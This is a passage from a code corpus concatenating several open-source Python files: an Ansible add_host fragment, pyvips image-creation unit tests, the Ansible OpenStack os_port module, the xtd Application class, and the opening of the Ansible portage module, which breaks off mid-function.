hostname=%s" % new_name) if ":" in new_name: new_name, new_port = new_name.split(":") self._task.args['ansible_ssh_port'] = new_port groups = self._task.args.get('groupname', self._task.args.get('groups', self._task.args.get('group', ''))) # add it to the group if that was specified new_groups = [] if groups: for group_name in groups.split(","): if group_name not in new_groups: new_groups.append(group_name.strip()) # Add any variables to the new_host host_vars = dict() for k in self._task.args.keys(): if not k in [ 'name', 'hostname', 'groupname', 'groups' ]: host_vars[k] = self._task.args[k] return dict(changed=True, add_host=dict(host_name=new_name, groups=new_groups, host_vars=host_vars))
gpl-3.0
kleisauke/pyvips
pyvips/tests/test_create.py
1
16056
# vim: set fileencoding=utf-8 : import unittest import pyvips from .helpers import PyvipsTester class TestCreate(PyvipsTester): def test_black(self): im = pyvips.Image.black(100, 100) self.assertEqual(im.width, 100) self.assertEqual(im.height, 100) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertEqual(im.bands, 1) for i in range(0, 100): pixel = im(i, i) self.assertEqual(len(pixel), 1) self.assertEqual(pixel[0], 0) im = pyvips.Image.black(100, 100, bands=3) self.assertEqual(im.width, 100) self.assertEqual(im.height, 100) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertEqual(im.bands, 3) for i in range(0, 100): pixel = im(i, i) self.assertEqual(len(pixel), 3) self.assertAlmostEqualObjects(pixel, [0, 0, 0]) def test_buildlut(self): M = pyvips.Image.new_from_array([[0, 0], [255, 100]]) lut = M.buildlut() self.assertEqual(lut.width, 256) self.assertEqual(lut.height, 1) self.assertEqual(lut.bands, 1) p = lut(0, 0) self.assertEqual(p[0], 0.0) p = lut(255, 0) self.assertEqual(p[0], 100.0) p = lut(10, 0) self.assertEqual(p[0], 100 * 10.0 / 255.0) M = pyvips.Image.new_from_array([[0, 0, 100], [255, 100, 0], [128, 10, 90]]) lut = M.buildlut() self.assertEqual(lut.width, 256) self.assertEqual(lut.height, 1) self.assertEqual(lut.bands, 2) p = lut(0, 0) self.assertAlmostEqualObjects(p, [0.0, 100.0]) p = lut(64, 0) self.assertAlmostEqualObjects(p, [5.0, 95.0]) def test_eye(self): im = pyvips.Image.eye(100, 90) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertEqual(im.max(), 1.0) self.assertEqual(im.min(), -1.0) im = pyvips.Image.eye(100, 90, uchar=True) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertEqual(im.max(), 255.0) self.assertEqual(im.min(), 0.0) def test_fractsurf(self): im = pyvips.Image.fractsurf(100, 90, 2.5) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) def test_gaussmat(self): im = pyvips.Image.gaussmat(1, 0.1) self.assertEqual(im.width, 5) self.assertEqual(im.height, 5) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.DOUBLE) self.assertEqual(im.max(), 20) total = im.avg() * im.width * im.height scale = im.get("scale") self.assertEqual(total, scale) p = im(im.width / 2, im.height / 2) self.assertEqual(p[0], 20.0) im = pyvips.Image.gaussmat(1, 0.1, separable=True, precision="float") self.assertEqual(im.width, 5) self.assertEqual(im.height, 1) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.DOUBLE) self.assertEqual(im.max(), 1.0) total = im.avg() * im.width * im.height scale = im.get("scale") self.assertEqual(total, scale) p = im(im.width / 2, im.height / 2) self.assertEqual(p[0], 1.0) def test_gaussnoise(self): im = pyvips.Image.gaussnoise(100, 90) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) im = pyvips.Image.gaussnoise(100, 90, sigma=10, mean=100) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) sigma = im.deviate() mean = im.avg() self.assertAlmostEqual(sigma, 10, places=0) self.assertAlmostEqual(mean, 100, places=0) def test_grey(self): im = pyvips.Image.grey(100, 90) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) p = im(0, 0) self.assertEqual(p[0], 0.0) p = im(99, 0) self.assertEqual(p[0], 1.0) p = im(0, 89) self.assertEqual(p[0], 0.0) p = im(99, 89) self.assertEqual(p[0], 1.0) im = pyvips.Image.grey(100, 90, uchar=True) self.assertEqual(im.width, 100) self.assertEqual(im.height, 90) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) p = im(0, 0) self.assertEqual(p[0], 0) p = im(99, 0) self.assertEqual(p[0], 255) p = im(0, 89) self.assertEqual(p[0], 0) p = im(99, 89) self.assertEqual(p[0], 255) def test_identity(self): im = pyvips.Image.identity() self.assertEqual(im.width, 256) self.assertEqual(im.height, 1) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) p = im(0, 0) self.assertEqual(p[0], 0.0) p = im(255, 0) self.assertEqual(p[0], 255.0) p = im(128, 0) self.assertEqual(p[0], 128.0) im = pyvips.Image.identity(ushort=True) self.assertEqual(im.width, 65536) self.assertEqual(im.height, 1) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.USHORT) p = im(0, 0) self.assertEqual(p[0], 0) p = im(99, 0) self.assertEqual(p[0], 99) p = im(65535, 0) self.assertEqual(p[0], 65535) def test_invertlut(self): lut = pyvips.Image.new_from_array([[0.1, 0.2, 0.3, 0.1], [0.2, 0.4, 0.4, 0.2], [0.7, 0.5, 0.6, 0.3]]) im = lut.invertlut() self.assertEqual(im.width, 256) self.assertEqual(im.height, 1) self.assertEqual(im.bands, 3) self.assertEqual(im.format, pyvips.BandFormat.DOUBLE) p = im(0, 0) self.assertAlmostEqualObjects(p, [0, 0, 0]) p = im(255, 0) self.assertAlmostEqualObjects(p, [1, 1, 1]) p = im(0.2 * 255, 0) self.assertAlmostEqual(p[0], 0.1, places=2) p = im(0.3 * 255, 0) self.assertAlmostEqual(p[1], 0.1, places=2) p = im(0.1 * 255, 0) self.assertAlmostEqual(p[2], 0.1, places=2) def test_logmat(self): im = pyvips.Image.logmat(1, 0.1) self.assertEqual(im.width, 7) self.assertEqual(im.height, 7) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.DOUBLE) self.assertEqual(im.max(), 20) total = im.avg() * im.width * im.height scale = im.get("scale") self.assertEqual(total, scale) p = im(im.width / 2, im.height / 2) self.assertEqual(p[0], 20.0) im = pyvips.Image.logmat(1, 0.1, separable=True, precision="float") self.assertEqual(im.width, 7) self.assertEqual(im.height, 1) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.DOUBLE) self.assertEqual(im.max(), 1.0) total = im.avg() * im.width * im.height scale = im.get("scale") self.assertEqual(total, scale) p = im(im.width / 2, im.height / 2) self.assertEqual(p[0], 1.0) def test_mask_butterworth_band(self): im = pyvips.Image.mask_butterworth_band(128, 128, 2, 0.5, 0.5, 0.7, 0.1) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertAlmostEqual(im.max(), 1, places=2) p = im(32, 32) self.assertEqual(p[0], 1.0) im = pyvips.Image.mask_butterworth_band(128, 128, 2, 0.5, 0.5, 0.7, 0.1, uchar=True, optical=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertEqual(im.max(), 255) p = im(32, 32) self.assertEqual(p[0], 255.0) p = im(64, 64) self.assertEqual(p[0], 255.0) im = pyvips.Image.mask_butterworth_band(128, 128, 2, 0.5, 0.5, 0.7, 0.1, uchar=True, optical=True, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertEqual(im.max(), 255) p = im(32, 32) self.assertEqual(p[0], 255.0) p = im(64, 64) self.assertNotEqual(p[0], 255) def test_mask_butterworth(self): im = pyvips.Image.mask_butterworth(128, 128, 2, 0.7, 0.1, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertAlmostEqual(im.min(), 0, places=2) p = im(0, 0) self.assertEqual(p[0], 0.0) v, x, y = im.maxpos() self.assertEqual(x, 64) self.assertEqual(y, 64) im = pyvips.Image.mask_butterworth(128, 128, 2, 0.7, 0.1, optical=True, uchar=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertAlmostEqual(im.min(), 0, places=2) p = im(64, 64) self.assertEqual(p[0], 255) def test_mask_butterworth_ring(self): im = pyvips.Image.mask_butterworth_ring(128, 128, 2, 0.7, 0.1, 0.5, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) p = im(45, 0) self.assertAlmostEqual(p[0], 1.0, places=4) v, x, y = im.minpos() self.assertEqual(x, 64) self.assertEqual(y, 64) def test_mask_fractal(self): im = pyvips.Image.mask_fractal(128, 128, 2.3) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) def test_mask_gaussian_band(self): im = pyvips.Image.mask_gaussian_band(128, 128, 0.5, 0.5, 0.7, 0.1) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertAlmostEqual(im.max(), 1, places=2) p = im(32, 32) self.assertEqual(p[0], 1.0) def test_mask_gaussian(self): im = pyvips.Image.mask_gaussian(128, 128, 0.7, 0.1, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertAlmostEqual(im.min(), 0, places=2) p = im(0, 0) self.assertEqual(p[0], 0.0) def test_mask_gaussian_ring(self): im = pyvips.Image.mask_gaussian_ring(128, 128, 0.7, 0.1, 0.5, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) p = im(45, 0) self.assertAlmostEqual(p[0], 1.0, places=3) def test_mask_ideal_band(self): im = pyvips.Image.mask_ideal_band(128, 128, 0.5, 0.5, 0.7) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertAlmostEqual(im.max(), 1, places=2) p = im(32, 32) self.assertEqual(p[0], 1.0) def test_mask_ideal(self): im = pyvips.Image.mask_ideal(128, 128, 0.7, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) self.assertAlmostEqual(im.min(), 0, places=2) p = im(0, 0) self.assertEqual(p[0], 0.0) def test_mask_gaussian_ring_2(self): im = pyvips.Image.mask_ideal_ring(128, 128, 0.7, 0.5, nodc=True) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) p = im(45, 0) self.assertAlmostEqual(p[0], 1.0, places=3) def test_sines(self): im = pyvips.Image.sines(128, 128) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) def test_text(self): if pyvips.type_find("VipsOperation", "text") != 0: im = pyvips.Image.text("Hello, world!") self.assertTrue(im.width > 10) self.assertTrue(im.height > 10) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.UCHAR) self.assertEqual(im.max(), 255) self.assertEqual(im.min(), 0) def test_tonelut(self): im = pyvips.Image.tonelut() self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.USHORT) self.assertEqual(im.width, 32768) self.assertEqual(im.height, 1) self.assertTrue(im.hist_ismonotonic()) def test_xyz(self): im = pyvips.Image.xyz(128, 128) self.assertEqual(im.bands, 2) self.assertEqual(im.format, pyvips.BandFormat.UINT) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) p = im(45, 35) self.assertAlmostEqualObjects(p, [45, 35]) def test_zone(self): im = pyvips.Image.zone(128, 128) self.assertEqual(im.width, 128) self.assertEqual(im.height, 128) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) def test_worley(self): im = pyvips.Image.worley(512, 512) self.assertEqual(im.width, 512) self.assertEqual(im.height, 512) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) def test_perlin(self): im = pyvips.Image.perlin(512, 512) self.assertEqual(im.width, 512) self.assertEqual(im.height, 512) self.assertEqual(im.bands, 1) self.assertEqual(im.format, pyvips.BandFormat.FLOAT) if __name__ == '__main__': unittest.main()
mit
noroutine/ansible
lib/ansible/modules/cloud/openstack/os_port.py
25
12185
#!/usr/bin/python # Copyright (c) 2015 Hewlett-Packard Development Company, L.P. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: os_port short_description: Add/Update/Delete ports from an OpenStack cloud. extends_documentation_fragment: openstack author: "Davide Agnello (@dagnello)" version_added: "2.0" description: - Add, Update or Remove ports from an OpenStack cloud. A I(state) of 'present' will ensure the port is created or updated if required. options: network: description: - Network ID or name this port belongs to. required: true name: description: - Name that has to be given to the port. required: false default: None fixed_ips: description: - Desired IP and/or subnet for this port. Subnet is referenced by subnet_id and IP is referenced by ip_address. required: false default: None admin_state_up: description: - Sets admin state. required: false default: None mac_address: description: - MAC address of this port. required: false default: None security_groups: description: - Security group(s) ID(s) or name(s) associated with the port (comma separated string or YAML list) required: false default: None no_security_groups: description: - Do not associate a security group with this port. required: false default: False allowed_address_pairs: description: - "Allowed address pairs list. Allowed address pairs are supported with dictionary structure. e.g. allowed_address_pairs: - ip_address: 10.1.0.12 mac_address: ab:cd:ef:12:34:56 - ip_address: ..." required: false default: None extra_dhcp_opts: description: - "Extra dhcp options to be assigned to this port. Extra options are supported with dictionary structure. e.g. extra_dhcp_opts: - opt_name: opt name1 opt_value: value1 - opt_name: ..." required: false default: None device_owner: description: - The ID of the entity that uses this port. required: false default: None device_id: description: - Device ID of device using this port. required: false default: None state: description: - Should the resource be present or absent. choices: [present, absent] default: present availability_zone: description: - Ignored. Present for backwards compatibility required: false ''' EXAMPLES = ''' # Create a port - os_port: state: present auth: auth_url: https://region-b.geo-1.identity.hpcloudsvc.com:35357/v2.0/ username: admin password: admin project_name: admin name: port1 network: foo # Create a port with a static IP - os_port: state: present auth: auth_url: https://region-b.geo-1.identity.hpcloudsvc.com:35357/v2.0/ username: admin password: admin project_name: admin name: port1 network: foo fixed_ips: - ip_address: 10.1.0.21 # Create a port with No security groups - os_port: state: present auth: auth_url: https://region-b.geo-1.identity.hpcloudsvc.com:35357/v2.0/ username: admin password: admin project_name: admin name: port1 network: foo no_security_groups: True # Update the existing 'port1' port with multiple security groups (version 1) - os_port: state: present auth: auth_url: https://region-b.geo-1.identity.hpcloudsvc.com:35357/v2.0/d username: admin password: admin project_name: admin name: port1 security_groups: 1496e8c7-4918-482a-9172-f4f00fc4a3a5,057d4bdf-6d4d-472... # Update the existing 'port1' port with multiple security groups (version 2) - os_port: state: present auth: auth_url: https://region-b.geo-1.identity.hpcloudsvc.com:35357/v2.0/d username: admin password: admin project_name: admin name: port1 security_groups: - 1496e8c7-4918-482a-9172-f4f00fc4a3a5 - 057d4bdf-6d4d-472... ''' RETURN = ''' id: description: Unique UUID. returned: success type: string name: description: Name given to the port. returned: success type: string network_id: description: Network ID this port belongs in. returned: success type: string security_groups: description: Security group(s) associated with this port. returned: success type: list status: description: Port's status. returned: success type: string fixed_ips: description: Fixed ip(s) associated with this port. returned: success type: list tenant_id: description: Tenant id associated with this port. returned: success type: string allowed_address_pairs: description: Allowed address pairs with this port. returned: success type: list admin_state_up: description: Admin state up flag for this port. returned: success type: bool ''' try: import shade HAS_SHADE = True except ImportError: HAS_SHADE = False from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.openstack import openstack_full_argument_spec, openstack_module_kwargs def _needs_update(module, port, cloud): """Check for differences in the updatable values. NOTE: We don't currently allow name updates. """ compare_simple = ['admin_state_up', 'mac_address', 'device_owner', 'device_id'] compare_dict = ['allowed_address_pairs', 'extra_dhcp_opts'] compare_list = ['security_groups'] for key in compare_simple: if module.params[key] is not None and module.params[key] != port[key]: return True for key in compare_dict: if module.params[key] is not None and module.params[key] != port[key]: return True for key in compare_list: if module.params[key] is not None and (set(module.params[key]) != set(port[key])): return True # NOTE: if port was created or updated with 'no_security_groups=True', # subsequent updates without 'no_security_groups' flag or # 'no_security_groups=False' and no specified 'security_groups', will not # result in an update to the port where the default security group is # applied. if module.params['no_security_groups'] and port['security_groups'] != []: return True if module.params['fixed_ips'] is not None: for item in module.params['fixed_ips']: if 'ip_address' in item: # if ip_address in request does not match any in existing port, # update is required. if not any(match['ip_address'] == item['ip_address'] for match in port['fixed_ips']): return True if 'subnet_id' in item: return True for item in port['fixed_ips']: # if ip_address in existing port does not match any in request, # update is required. if not any(match.get('ip_address') == item['ip_address'] for match in module.params['fixed_ips']): return True return False def _system_state_change(module, port, cloud): state = module.params['state'] if state == 'present': if not port: return True return _needs_update(module, port, cloud) if state == 'absent' and port: return True return False def _compose_port_args(module, cloud): port_kwargs = {} optional_parameters = ['name', 'fixed_ips', 'admin_state_up', 'mac_address', 'security_groups', 'allowed_address_pairs', 'extra_dhcp_opts', 'device_owner', 'device_id'] for optional_param in optional_parameters: if module.params[optional_param] is not None: port_kwargs[optional_param] = module.params[optional_param] if module.params['no_security_groups']: port_kwargs['security_groups'] = [] return port_kwargs def get_security_group_id(module, cloud, security_group_name_or_id): security_group = cloud.get_security_group(security_group_name_or_id) if not security_group: module.fail_json(msg="Security group: %s, was not found" % security_group_name_or_id) return security_group['id'] def main(): argument_spec = openstack_full_argument_spec( network=dict(required=False), name=dict(required=False), fixed_ips=dict(type='list', default=None), admin_state_up=dict(type='bool', default=None), mac_address=dict(default=None), security_groups=dict(default=None, type='list'), no_security_groups=dict(default=False, type='bool'), allowed_address_pairs=dict(type='list', default=None), extra_dhcp_opts=dict(type='list', default=None), device_owner=dict(default=None), device_id=dict(default=None), state=dict(default='present', choices=['absent', 'present']), ) module_kwargs = openstack_module_kwargs( mutually_exclusive=[ ['no_security_groups', 'security_groups'], ] ) module = AnsibleModule(argument_spec, supports_check_mode=True, **module_kwargs) if not HAS_SHADE: module.fail_json(msg='shade is required for this module') name = module.params['name'] state = module.params['state'] try: cloud = shade.openstack_cloud(**module.params) if module.params['security_groups']: # translate security_groups to UUID's if names where provided module.params['security_groups'] = [ get_security_group_id(module, cloud, v) for v in module.params['security_groups'] ] port = None network_id = None if name: port = cloud.get_port(name) if module.check_mode: module.exit_json(changed=_system_state_change(module, port, cloud)) changed = False if state == 'present': if not port: network = module.params['network'] if not network: module.fail_json( msg="Parameter 'network' is required in Port Create" ) port_kwargs = _compose_port_args(module, cloud) network_object = cloud.get_network(network) if network_object: network_id = network_object['id'] else: module.fail_json( msg="Specified network was not found." ) port = cloud.create_port(network_id, **port_kwargs) changed = True else: if _needs_update(module, port, cloud): port_kwargs = _compose_port_args(module, cloud) port = cloud.update_port(port['id'], **port_kwargs) changed = True module.exit_json(changed=changed, id=port['id'], port=port) if state == 'absent': if port: cloud.delete_port(port['id']) changed = True module.exit_json(changed=changed) except shade.OpenStackCloudException as e: module.fail_json(msg=str(e)) if __name__ == '__main__': main()
gpl-3.0
psycofdj/xtd
xtd/core/application.py
2
8747
# -*- coding: utf-8 # pylint: disable=unused-import #------------------------------------------------------------------# from __future__ import print_function __author__ = "Xavier MARCELET <[email protected]>" #------------------------------------------------------------------# import sys from future.utils import with_metaclass from . import stat, logger, config, param, mixin from .error import ConfigError, XtdError #------------------------------------------------------------------# class Application(with_metaclass(mixin.Singleton, object)): """XTD main application object Users must inherit this class : * register program's arguments in their ``__init__`` method * and optionally override :py:meth:`initialize` * override :py:meth:`process` and code their program behavior * call :py:meth:`execute` at top level ``p_name`` parameter is used for various purpose such as: * default usage * default --config-file value * default disk-synced parameters output directory path * default statistic disk output directory path Args: p_name (str): application's name (optional). Defaults to ``sys.argv[0]`` Attributes: m_name (str): application's name """ def __init__(self, p_name=None): self.m_name = p_name self.m_argv = [] self.m_config = config.manager.ConfigManager() self.m_stat = None self.m_param = None self.m_logger = None if self.m_name is None: self.m_name = sys.argv[0] self.m_config.set_usage("%s [options]" % self.m_name) self.m_config.register_section("general", "General Settings", [{ "name" : "config-file", "default" : "%(name)s/%(name)s.json" % {"name" : self.m_name}, "description" : "use FILE as configuration file", "longopt" : "--config-file", "checks" : config.checkers.is_file(p_read=True) }]) self.config().register_section("log", "Logging Settings", [{ "name" : "config", "default" : {}, "description" : "Logging configuration", "checks" : config.checkers.is_json() },{ "name" : "override", "default" : {}, "description" : "override part of logging configuration", "checks" : config.checkers.check_json }]) self.config().register_section("stat", "Stats Settings", [{ "name" : "handlers", "default" : ["disk"], "description" : """Enabled given stat output handler. Possibles values :\n * disk : write counters to --stat-disk-directory path each --stat-disk-interval seconds\n * http : post counters in json format to --stat-http-url url each --stat-http-interval seconds\n Can specify a comma separated combinaison of theses values\n """, "checks" : config.checkers.is_array( p_check=config.checkers.is_enum(p_values=["", "disk", "http"]) ) },{ "name" : "disk-directory", "default" : "/tmp/snmp/%s/stat/" % self.m_name, "description" : "Destination directory for counter disk handler" },{ "name" : "disk-interval", "default" : 50, "description" : "Interval in second between two disk outputs", "checks" : config.checkers.is_int() },{ "name" : "http-url", "default" : "http://localhost/counter", "description" : "Destination POST url for http stat handler" },{ "name" : "http-interval", "default" : 50, "description" : "Interval in second between two http outputs", "checks" : config.checkers.is_int() }]) self.config().register_section("param", "Persistent parameter settings", [{ "name" : "directory", "default" : "/tmp/snmp/%s/admin" % self.m_name, "description" : "Destination directory for admin persistent parameters" }]) def config(self): """Get the :py:class:`~xtd.core.config.manager.ConfigManager` instance Returns: config.manager.ConfigManager: ConfigManager instance """ return self.m_config def stat(self): """Get the :py:class:`~xtd.core.stat.manager.StatManager` instance Returns: stat.manager.StatManager: StatManager instance """ return self.m_stat # pylint: disable=no-self-use def process(self): """Main application body The child class must override this method. Since default behavior is to log an error, you should not call parent's method Returns: int, bool: program's exit code and True if object should call stop method before joining """ logger.info(__name__, "default process() method, you probably want to override it") return 1, True def initialize(self): """Initializes application Specifically: * application's configuration facility, See :py:mod:`xtd.core.config` * application's logging facility, See :py:mod:`xtd.core.logger` * application's memory parameters, See :py:mod:`xtd.core.param` * application's statistics, See :py:mod:`xtd.core.stat` Any child class that overrides this method should call ``super(Application, self).initialize()`` """ self._initialize_config() self._initialize_log() self._initialize_stat() self._initialize_param() def start(self): """Start background modules Any child class that overrides this method should call ``super(Application, self).start()`` or start :py:class:`~xtd.core.stat.manager.StatManager` by hand """ self.m_stat.start() def stop(self): """Stop background modules Any child class that overrides this method should call ``super(Application, self).stop()`` or stop :py:class:`~xtd.core.stat.manager.StatManager` by hand """ self.m_stat.stop() def join(self): """Join background modules Any child class that overrides this method should call ``super(Application, self).join()`` or join :py:class:`~xtd.core.stat.manager.StatManager` by hand """ self.m_stat.join() def execute(self, p_argv=None): """Main application entry point Exits with code returned by :py:meth:`process`. .. note:: During the initializing phase : * Any :py:class:`~xtd.core.error.ConfigError` leads to the display of the error, followed by the program usage and ends with a ``sys.exit(1)``. * Any :py:class:`~xtd.core.error.XtdError` leads to the display of the error and ends with a ``sys.exit(1)``. During the process phase : * Any :py:class:`~xtd.core.error.XtdError` leads to the log of the error and ends with a ``sys.exit(1)``. Args: p_argv (list) : program's command-line argument. Defaults to None. If none, arguments are taken from :py:obj:`sys.argv` """ if p_argv is None: p_argv = sys.argv self.m_argv = p_argv try: self.initialize() except ConfigError as l_error: print(l_error) self.m_config.help() sys.exit(1) except XtdError as l_error: print(l_error) sys.exit(1) try: logger.info(__name__, "starting process") self.start() l_code, l_stop = self.process() if l_stop: self.stop() self.join() logger.info(__name__, "process finished (status=%d)", l_code) sys.exit(l_code) except XtdError as l_error: logger.exception(__name__, "uncaught exception '%s', exit(1)", l_error) sys.exit(1) def _initialize_config(self): self.m_config.initialize() self.m_config.parse(self.m_argv) def _initialize_stat(self): self.m_stat = stat.manager.StatManager() l_outputters = self.config().get("stat", "handlers") for c_name in l_outputters: if c_name == "disk": l_dir = config.get("stat", "disk-directory") l_interval = config.get("stat", "disk-interval") l_disk = stat.handler.DiskHandler(l_dir, l_interval) self.m_stat.register_handler(l_disk) elif c_name == "http": l_url = config.get("stat", "http-url") l_interval = config.get("stat", "http-interval") l_http = stat.handler.HttpHandler(l_url, l_interval) self.m_stat.register_handler(l_http) def _initialize_log(self): self.m_logger = logger.manager.LogManager() self.m_logger.initialize(config.get("log", "config"), config.get("log", "override")) def _initialize_param(self): self.m_param = param.manager.ParamManager(config.get("param", "directory")) # Local Variables: # ispell-local-dictionary: "american" # End:
gpl-3.0
shaded-enmity/ansible-modules-extras
packaging/os/portage.py
90
12841
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2013, Yap Sok Ann # Written by Yap Sok Ann <[email protected]> # Based on apt module written by Matthew Williams <[email protected]> # # This module is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This software is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this software. If not, see <http://www.gnu.org/licenses/>. DOCUMENTATION = ''' --- module: portage short_description: Package manager for Gentoo description: - Manages Gentoo packages version_added: "1.6" options: package: description: - Package atom or set, e.g. C(sys-apps/foo) or C(>foo-2.13) or C(@world) required: false default: null state: description: - State of the package atom required: false default: "present" choices: [ "present", "installed", "emerged", "absent", "removed", "unmerged" ] update: description: - Update packages to the best version available (--update) required: false default: null choices: [ "yes" ] deep: description: - Consider the entire dependency tree of packages (--deep) required: false default: null choices: [ "yes" ] newuse: description: - Include installed packages where USE flags have changed (--newuse) required: false default: null choices: [ "yes" ] changed_use: description: - Include installed packages where USE flags have changed, except when - flags that the user has not enabled are added or removed - (--changed-use) required: false default: null choices: [ "yes" ] version_added: 1.8 oneshot: description: - Do not add the packages to the world file (--oneshot) required: false default: null choices: [ "yes" ] noreplace: description: - Do not re-emerge installed packages (--noreplace) required: false default: null choices: [ "yes" ] nodeps: description: - Only merge packages but not their dependencies (--nodeps) required: false default: null choices: [ "yes" ] onlydeps: description: - Only merge packages' dependencies but not the packages (--onlydeps) required: false default: null choices: [ "yes" ] depclean: description: - Remove packages not needed by explicitly merged packages (--depclean) - If no package is specified, clean up the world's dependencies - Otherwise, --depclean serves as a dependency aware version of --unmerge required: false default: null choices: [ "yes" ] quiet: description: - Run emerge in quiet mode (--quiet) required: false default: null choices: [ "yes" ] verbose: description: - Run emerge in verbose mode (--verbose) required: false default: null choices: [ "yes" ] sync: description: - Sync package repositories first - If yes, perform "emerge --sync" - If web, perform "emerge-webrsync" required: false default: null choices: [ "yes", "web" ] getbinpkg: description: - Prefer packages specified at PORTAGE_BINHOST in make.conf required: false default: null choices: [ "yes" ] usepkgonly: description: - Merge only binaries (no compiling). This sets getbinpkg=yes. required: false deafult: null choices: [ "yes" ] requirements: [ gentoolkit ] author: - "Yap Sok Ann (@sayap)" - "Andrew Udvare" notes: [] ''' EXAMPLES = ''' # Make sure package foo is installed - portage: package=foo state=present # Make sure package foo is not installed - portage: package=foo state=absent # Update package foo to the "best" version - portage: package=foo update=yes # Install package foo using PORTAGE_BINHOST setup - portage: package=foo getbinpkg=yes # Re-install world from binary packages only and do not allow any compiling - portage: package=@world usepkgonly=yes # Sync repositories and update world - portage: package=@world update=yes deep=yes sync=yes # Remove unneeded packages - portage: depclean=yes # Remove package foo if it is not explicitly needed - portage: package=foo state=absent depclean=yes ''' import os import pipes import re def query_package(module, package, action): if package.startswith('@'): return query_set(module, package, action) return query_atom(module, package, action) def query_atom(module, atom, action): cmd = '%s list %s' % (module.equery_path, atom) rc, out, err = module.run_command(cmd) return rc == 0 def query_set(module, set, action): system_sets = [ '@live-rebuild', '@module-rebuild', '@preserved-rebuild', '@security', '@selected', '@system', '@world', '@x11-module-rebuild', ] if set in system_sets: if action == 'unmerge': module.fail_json(msg='set %s cannot be removed' % set) return False world_sets_path = '/var/lib/portage/world_sets' if not os.path.exists(world_sets_path): return False cmd = 'grep %s %s' % (set, world_sets_path) rc, out, err = module.run_command(cmd) return rc == 0 def sync_repositories(module, webrsync=False): if module.check_mode: module.exit_json(msg='check mode not supported by sync') if webrsync: webrsync_path = module.get_bin_path('emerge-webrsync', required=True) cmd = '%s --quiet' % webrsync_path 